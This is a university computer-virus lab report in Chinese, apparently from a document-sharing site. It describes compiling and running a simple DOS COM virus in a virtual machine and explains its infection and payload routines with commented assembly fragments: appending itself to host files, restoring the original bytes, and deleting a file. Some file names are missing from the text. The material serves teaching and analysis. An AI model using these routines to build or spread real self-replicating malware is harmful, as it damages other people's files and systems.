文档详情

东华大学计算机病毒实验二报告(计算机com病毒).doc

发布:2017-04-23约2.56千字共12页下载文档
文本预览下载声明
计 算 机 病 毒 实验报告 姓 名: 学 号: 老 师: 日 期: 实验二 一、实验目的 1、掌握COM病毒的传播原理。 2、掌握MASM611编译工具的使用。 二、实验内容 1、 安装MS-DOS 7.10环境。虚拟机安装该环境亦可,步骤在此不再赘述。 2、 在MS-DOS C:\MASM目录下安装MASM611,然后将binr目录下的link.exe复制到bin目录下。 3、 在C:\MASM\Bin目录下建立del.txt文件,并且将“”和病毒代码2“virus.asm”复制到此目录下。 4、 执行“”观察结果。 5、 编译并连接 “virus.asm” 生成“virus.exe”,执行此exe文件以感染“”文件并且自动删除del.txt,而后执行“”可以发现感染后的结果。 三、实验环境 MS-DOS 7.10 MASM611 四. 实验步骤与结果 1、安装软盘和光盘镜像文件 软盘:病毒代码_软盘.IMA 光盘:MASM611S.ISO 2. 在C:盘根目录下建立shiyan2目录,将软盘上的内容copy到该目录下。 3、.安装汇编编译环境 运行光盘上的安装程序 setup, 将汇编编译环境安装到C:\masm611目录下。 设置路径path=%path%;c:\masm611\bin;c:\masm611\binr。 因为是拷贝来的,T文件大小与文件一样。 创建del.txt文件。 在C:shiyan2目录下编译、连接生成病毒程序virus.exe。 感染病毒。虚拟机死机。Reset重启虚拟机。 发现已被严重感染。且感染后变得过大,无法读出其中内容。而且del.txt文件已被删除。 五. 病毒代码分析 仔细分析病毒代码 virus.asm, 结合实验完成以下内容: i. 传染模块主要代码及传染过程说明; pop si ;得到当前地址 IP-SI mov bp,si ;保存当前地址 push si mov ah,9 ;(DS:DX)=指向字符串首址(字符串以$结尾)。 ;出口参数:无。 offset得到标号、变量等的偏移内存地址 add si,offset message-offset vstart mov dx,si int 21h ;中断21H pop si add si,offset yuan4byte-offset vstart ;取得原程序中的前四个字节 mov di,100h ;目的地址 mov ax,ds:[si] ;开始复制 mov ds:[di],ax inc si inc si inc di inc di mov ax,ds:[si] mov ds:[di],ax mov si,bp ;恢复地址值 IP-SI(IP是vstart标号处 传染过程说明:在执行被传染的文件时com病毒进入内存。进入内存后,便开始监???系统的运行。当它发现被传染的目标时, 当条件满足,将病毒链接到可执行文件的尾部, 并存大磁盘中。然后使执行文件在执行时先执行文件尾部的病毒代码,然后再跳回原代码处执行。 ii. 表现模块的主要代码及现象说明; add si,offset mainstart-offset vstart ;准备写入病毒 mov dx,si mov vsizes,offset vends-offset mainstart mov cx,vsizes mov ah,40h ;写文件 int 21h ;(AH)=40H,(BX)=文件号,(CX)=写盘字节数,(DS:DX)=缓冲区首地址 ;出口参数:若(CF)=0成功,(AX)=实际写入的字节数, ;一般与(CX)相同;否则失败,(AX)=错误代码 ?mov dx,offset delname-offset vstart add dx,si ; 偏移DX加本程序在内存中的vstart地址处,;求出delname当时在内存中的位置。 mov ah,41h ;删除文件,(DS:DX)=字符串首址。;出口参数:若(CF)=0成功;否则失败,(AX)=错误代码 int 21h 现象:感染当前文件夹的文件 , 并删除当前文件夹的del.txt文件 ,显示预设的字符串“You are infected by a simple com virus”。 iii.说明该病毒触发传染的条件; 在没触发表现模块时,病毒在被感染文件执行时,反复写入被感染文件尾部。 六. 病毒代码改写 尝试改写病毒代码,改变病毒的表现方式、表现模块的触发条件以及传染模块的触发条件等,观察效果。 我只是将代码中的中毒后的显示信息改成“~~~~virus~~~`virus~~~~virus~~~~”。 七. 总结
显示全部
相似文档